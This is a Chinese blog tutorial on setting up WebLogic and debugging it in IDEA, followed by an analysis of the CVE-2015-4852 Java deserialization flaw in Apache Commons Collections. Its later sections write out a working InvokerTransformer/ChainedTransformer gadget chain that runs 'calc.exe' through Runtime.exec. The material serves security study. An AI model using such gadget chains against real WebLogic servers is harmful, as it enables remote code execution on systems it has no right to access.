weblogic控制台查看日志_Weblogic(1)

本文详细介绍了如何安装WebLogic、使用IDEA进行本地和远程Debug,以及探讨了Java反序列化漏洞,特别是CVE-2015-4852,分析了其漏洞原理和利用方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

d79eab2c1c47139a378debaff099f312.png

0x00 前言

最近刚好碰到了weblogic的场景,就想好好学习一下并总结。版本用的是12.2.1.3

0x01 weblogic是啥

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic最早由 WebLogic Inc. 开发,后并入BEA 公司,最终BEA公司又并入Oracle公司。webserver是用来构建网站的必要软件,具有解析、发布网页等功能,它是用纯java开发的 。

0x02 安装weblogic

这一步就不多说了,网上有很多的教程,主要是需要注册一个oracle账号,信息填写尽量不要暴露个人信息就好。

遇到jre1.7.0_71不是有效的 JDK 的解决办法

把fmw12.1.3.0.0wls.jar放到%JAVAHOME%bin目录下,然后执行java -jar fmw12.1.3.0.0_wls.jar

遇到此时不应有 Javajdkxxxxxx的解决办法

https://blog.csdn.net/langdeyouhuoyouhuo/article/details/25964007

在linux下安装的时候碰到root用户不行

创建weblogic用户,使用weblogic用户来执行

在linux下安装的时候碰到oracle检查程序need 256 color

注销root用户,直接登录weblogic用户即可

查看补丁信息,到opatch目录下执行

opatch lsinventory

0x03 使用IDEA Debug

本地Debug

1、添加项目

用IDEA打开weblogic的项目,项目路径一般为

  1. weblogicuser_projectsdomains

2、在IDEA里配置local debug的设置

b5e2df4a0a544c7066cb50604079fbd8.png

a627543253fd73a4ccd7aef4fc58735e.png

3、在project structure里添加项目依赖

64833784b37b3ea523b135261dfd8f8d.png

4、运行Debug按钮

54d902c048f5b1af3c8b0ba0640f746e.png

然后会自动跳出项目首页。

c784e9bb0893f2a3357c2a102471b923.png

一般国内的文章都只写到这就结束了,待笔者后面把远程debug也介绍完之后再说怎么玩怎么下断点^_^

远程Debug

1、什么是 Remote Debugging

Remote Debugging 是通过你正在调试的JVM和你选择的用于调试的工具之间使用TCP/IP通信来实现的。

JVM是java程序运行的平台,也叫java虚拟机,这是java之所以能够跨平台的关键,它负责执行java编译好的字节码文件。这里不是主要内容,就不详细展开了,感兴趣可以自行搜索相关概念。

2、配置远程Debug

注意这儿的配置需要选择remote那一项

7fe2d65dff8d102088d31f571741b371.png

037783c67c9095a7ea6990dd8fd48686.png

3、打开远程debug

任何JVM都允许远程调试。这是通过在启动Java程序时添加一些标志来实现的。

在domain的bin目录下找setDomainEnv.cmd文件,搜索 “ if "%debugFlag%" ”,在这一行上面设置 “set debugFlag=true”。或者直接把local_debug设为true。

21c51f4f0b6e9debc98cbcd0e74f103a.png

然后可以搜索“DEBUG_PORT”查看 默认端口号。

f94b66d36bed1b81774b4a5e416ce5dd.png

4、添加项目依赖

d26bb41fc6c71b4424c897c6bc9ee048.png

5、启动startweblogic.cmd

f847acdf4b82b377519a82d599b390a8.png

6、启动debug看到这句话就证明连接上了(安排上了)

c2f6865470c7c9f73665ecd7725bda06.png
要点

无论本地还是远程其实都要保持代码的一致性。

对于weblogic这类型的应用,源码在jar包里,需要用jd.gui来反编译里面的jar包。

然后分析整个大概的运行流程,找到关键的调用链。

跟进逐步分析,由于国内直接讲这个的文章比较少,笔者也摸索了挺久,才摸索出门道来,不过这种自己动手实践摸索出来的感觉很爽。

参考

http://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/

0x04 反序列化漏洞

反序列化漏洞是一类危害较大的漏洞。
大多数编程语言为用户提供了内置的方法,可以将应用程序数据输出到磁盘或通过网络传输 。
所谓序列化,就是将应用程序数据转换为适合于传输的另一种格式(通常是二进制)的过程。
所谓反序列化,就是在序列化后重新读取数据的过程。
漏洞通常存在于开发人员编写代码时希望接受来自用户的序列化数据并尝试反序列化以便在程序中使用的代码时,就会出现漏洞。根据语言的不同,这会产生各种各样的后果,但最有趣的是,我们在这里讨论的是远程代码执行。
以下是foxglovesecurity的研究文章(建议读者可以花时间认真看看,文章挺长,讲解也挺透彻,英文不好也可以用插件翻译):https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

下面是序列化与反序列化的抽象图:

3791a5803e23169f339bdf3f636a0e33.png

为什么java里特别多?

因为Java世界中的一切都使用对象序列化,并且几乎所有东西都可以被强制接受不安全的,比如用户提供的序列化数据。

此外,反序列化漏洞是完全取决于语言各自的特点的。

**下面的例子展示了java中如何序列化与反序列化(代码一)

  1. import java.io.ObjectInputStream;
  2. import java.io.FileInputStream;
  3. import java.io.ObjectOutputStream;
  4. import java.io.FileOutputStream;
  5. public class SerializeTest{
  6. public static void main(String args[]) throws Exception{
  7. //这是我们即将序列化的对象
  8. String name = "bob";
  9. //我们会把序列化数据写进文件 "name.ser" 里
  10. FileOutputStream fos = new FileOutputStream("name.ser");
  11. ObjectOutputStream os = new ObjectOutputStream(fos);
  12. os.writeObject(name);
  13. os.close();
  14. //从文件 "name.ser" 中读取出存储的序列化数据
  15. FileInputStream fis = new FileInputStream("name.ser");
  16. ObjectInputStream ois = new ObjectInputStream(fis);
  17. //读取数据并转化成字符串输出
  18. String nameFromDisk = (String)ois.readObject();
  19. //控制台打印
  20. System.out.println(nameFromDisk);
  21. ois.close();
  22. }
  23. }

这段代码只是使用Java的序列化接口将String“bob”写入磁盘中的"name.ser"文件,然后将其读回并打印结果。以下显示了运行此代码的输出

  1. [root@localhost Desktop]# javac SerializeTest.java
  2. [root@localhost Desktop]# java SerializeTest
  3. bob
  4. [root@localhost Desktop]# xxd name.ser
  5. 0000000: aced 0005 7400 0362 6f62 ....t..bob

请注意,磁盘“name.ser”上的文件是二进制文件,它有一些不可打印的字符。特别是经典标志,字节“aced 0005” - 这些是你在任何Java序列化对象的开头看到的“神奇字节”。

java的精髓就是object

下面是自定义对象序列化(代码二)

  1. import java.io.ObjectInputStream;
  2. import java.io.FileInputStream;
  3. import java.io.ObjectOutputStream;
  4. import java.io.FileOutputStream;
  5. import java.io.Serializable;
  6. import java.io.IOException;
  7. public class SerializeTest{
  8. public static void main(String args[]) throws Exception{
  9. //这是我们即将序列化的对象
  10. MyObject myObj = new MyObject();
  11. myObj.name = "bob";
  12. //我们会把序列化数据写进文件 "object.ser" 里
  13. FileOutputStream fos = new FileOutputStream("object.ser");
  14. ObjectOutputStream os = new ObjectOutputStream(fos);
  15. os.writeObject(myObj);
  16. os.close();
  17. //从文件 "object.ser" 中读取出存储的序列化数据
  18. FileInputStream fis = new FileInputStream("object.ser");
  19. ObjectInputStream ois = new ObjectInputStream(fis);
  20. //读取数据并转化成字符串输出
  21. MyObject objectFromDisk = (MyObject)ois.readObject();
  22. //控制台打印
  23. System.out.println(objectFromDisk.name);
  24. ois.close();
  25. }
  26. }
  27. class MyObject implements Serializable{
  28. public String name;
  29. private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
  30. in.defaultReadObject();
  31. this.name = this.name+"!";
  32. }
  33. }

下面是输出

  1. [root@localhost Desktop]# java SerializeTest2
  2. bob!
  3. [root@localhost Desktop]# xxd object.ser
  4. 0000000: aced 0005 7372 0008 4d79 4f62 6a65 6374 ....sr..MyObject
  5. 0000010: cf7a 75c5 5dba f698 0200 014c 0004 6e61 .zu.]......L..na
  6. 0000020: 6d65 7400 124c 6a61 7661 2f6c 616e 672f met..Ljava/lang/
  7. 0000030: 5374 7269 6e67 3b78 7074 0003 626f 62 String;xpt..bob

代码二与代码一是基本相似的,但是这里被序列化的对象是用户定义的名称“MyObject”。

733e85a002e33b1b507c9e13178b420d.png

这里的关键是readObject方法。当Java读入一个序列化对象时,在读取原始字节后它首先执行的操作是调用用户定义的“readObject”方法(如果存在)。我们看到我们的myobject对象在定义readObject方法的时候在name属性后附加一个感叹号。

  1. private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
  2. in.defaultReadObject();
  3. this.name = this.name+"!";
  4. }

那么,如果我们知道一个自定义了readObject方法的序列化对象做了危险的事情呢?

如果不是简单的附加毫无危害的感叹号,而是可以在操作系统上运行用户定义的命令,那真的skr skr危险了。

假设存在这样一个易受攻击的对象,但它不是核心的一部分,而只是库的一部分。从开发者的角度去考虑:

1、该库需要在Java的类路径上

2、应用程序需要反序列化不受信任的用户输入

我们已经确定第二个要求经常可以满足。如果我们能够在常用的库中找到这样的漏洞,则可以满足第一个要求。

此外,Java库与我们已经看到这些类型的漏洞的其他库不同。例如,OpenSSL通常作为共享库运行,因此开发者可以更新所有RedHat框,并且神奇地不再容易受到HeartBleed的攻击。相比之下,Java库是一团糟。每个应用程序服务器都有自己的库包,更糟糕的是,在服务器上部署的每个应用程序通常都带有自己的集合。要完全解决此问题,开发者需要单独查找和更新每个库。

下面开始研究的weblogic它的漏洞点位于commons-collections Java库中。

0x05 CVE-2015-4852

概述

CVE-2015-4852 是 java 反序列化问题引起重视并被大规模利用时候的 weblogic 的漏洞。 WLS Security组件允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。此漏洞影响到WLS Security Handler的文件oracle_common/modules/com.bea.core.apache.commons.collections.jar内的函数。

影响范围

Oracle WebLogic Server - Version 10.3.6 to 12.2.1.0.0

漏洞原理

概括
如果Java应用对用户输入没有进行校验而直接做反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能产生任意代码执行的漏洞。
——不可信输入带入流程中介绍 apache commons collections
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

CommonsCollections 组件中对于集合的操作存在反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验。

从Transformer开始谈起
org.apache.commons.collections.Transformer

Apache Commons Collections中提供了一个Transformer的类,这个接口的的功能就是:把一个对象转换为另一个对象。

6098a60014d6ed9482a6b12187991fb3.png

05bbf4bec100470ca7b4d94db515853a.png

图中,ConstantTransformer,invokerTransformer,ChainedTransformer和TransformedMap继承了Transformer类。

invokeTransformer:Transformer implementation that creates a new object instance by reflection.
(通过反射,返回一个对象)
ChainedTransformer:Transformer implementation that chains the specified transformers together.
(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
ConstantTransformer:Transformer implementation that returns the same constant each time.
(把一个对象转化为常量,并返回)

参考:

https://wsygoogol.github.io/2016/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

反射机制

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。了解ConstantTransformer
org.apache.commons.collections.functors.constanttransformer

该类使用Transformer的接口,重写了transformer的方法

b276973d63b2e6bcb7efe853ae64b7e2.png

transform返回的是iConstant的变量,iConstant的变量必定在ConstantTransformer(Object)方法中被赋值。

  1. public void test(){
  2. ConstantTransformer tran = new ConstantTransformer(Runtime.class);
  3. }

在源码中设置断点,开启debug运行 ,将会看到构造出了Runtime的对象类型。

了解Invoketransformer
org.apache.commons.collections.functors.invoketransformer

定义

95be9d6a0e387b314f3569ee7f6c6d44.png

可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName,然后使用对应参数 iArgs 调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造的决定性的条件。

invoketransformer类中比较关键的地方

d46e3e0fb5f65d91adfb17b2b594278f.png

该方法中采用反射的方法进行调用,其中红框input参数为进行反射操作的对象,另外三个参数中

iMethodName——调用的方法名
iParamTypes——该方法的参数类型
iArgs——对应方法的参数

在该类的构造方法中,可以发现,这三个参数都是可控的,可控意味着不可信!

eb75cd236e7c41d25540ccf548dec0d6.png

在invokerTransformer类中,通过反射创建新的对象实例。其中transform方法定义为:

eca6722ffa541ceb75e4fcc4c5538a9c.png

method.invoke(input,iargs)意思是,执行input对象的method方法,参数是iargs。

这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量:

d0c655158df9f989860c972678d0ac91.png

也就是说这段反射代码中的调用的方法名和Class对象都是可控的。于是,我们可以构造一个恶意的Transformer链,借用InvokerTransformer.transform()执行任意命令。

  1. @transform test
  2. public void test(){
  3. InvokerTransformer tran = new InvokerTransformer(
  4. "getMethod",
  5. new Class[] { String.class, Class[].class },
  6. new Object[] { "getRuntime",null }
  7. );
  8. Method run = (Method) tran.transform(Runtime.class);
  9. InvokerTransformer tran2 = new InvokerTransformer(
  10. "invoke",
  11. new Class[] { Object.class, Object[].class },
  12. new Object[] { null, null }
  13. );
  14. System.out.println(tran2.transform(run).toString()),
  15. }

动态跟踪一下这个demo的流程

0a92cd14e2cea418c7fd9b5de4688081.png

fba488a8fa9ce64e15ac766b70c697b3.png

38b42798b151759398f7b587d5799180.png

最终,可以看到,此处已经是Runtime类了

bb86e164e8236c3d6571d0aef3778fe6.png

继续构造exec(“calc.exe”)代码段

  1. Runtime run = (Runtime) tran2.transform(method);
  2. InvokerTransformer tran3 = new InvokerTransformer(
  3. "exec",
  4. new Class[] { String.class },
  5. new Object[] { "calc.exe" }
  6. );
  7. tran3.transform(run);

bcb3409580742e7f97b5e80de5e4d075.png

最终

326a34a972706c8da6bc86e1d4ad493c.png

到此,我们已经成功构造payload了,在这里我是直接放到main函数里执行了payload,那么正常情况下我们怎么执行呢?

了解ChainedTransformer
org.apache.commons.collections.functors.chainedtransformer

执行反射链用到ChainedTransformer ,查看源码

84710ab0570de7563a14baa2aa904857.png

发现ChainedTransformer 利用for循环,对传入的transformers[i]数组逐个运行transform方法 ,就是把上文的步骤利用一个for循环整合在了一起。

构造一个以数组为主的反射链进行弹窗:

  1. public void test(){
  2. ChainedTranstormer chain = null;
  3. Transformer transforms[] = {
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod",
  6. new Class[] {String.class, Class[].class},
  7. new Object[] {"getRuntime", null }
  8. ),
  9. new InvokerTransformer("invoke",
  10. new Class[] {Object.class, Object[].class},
  11. new Object[] {null, null}
  12. ),
  13. new InvokerTransformer("exec",
  14. new Class[] {String[].class},
  15. new Object[] {"calc.exe"}
  16. )
  17. };
  18. chain = new ChainedTransformer(transformers);
  19. chain.transform(Object.class);
  20. }

构造出了chain方法之后,还需要调用了ChainedTransformer类中的transform对象转换方法。

如何才能不通过直接调用transform方法执行反射链呢?

下面就要去寻找类了,寻找到调用了ChainedTransformer类中的transform方法的类,这个类叫TransformedMap 。

参考:

https://blog.chaitin.cn/2015-11-11javaunserialize_rce/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值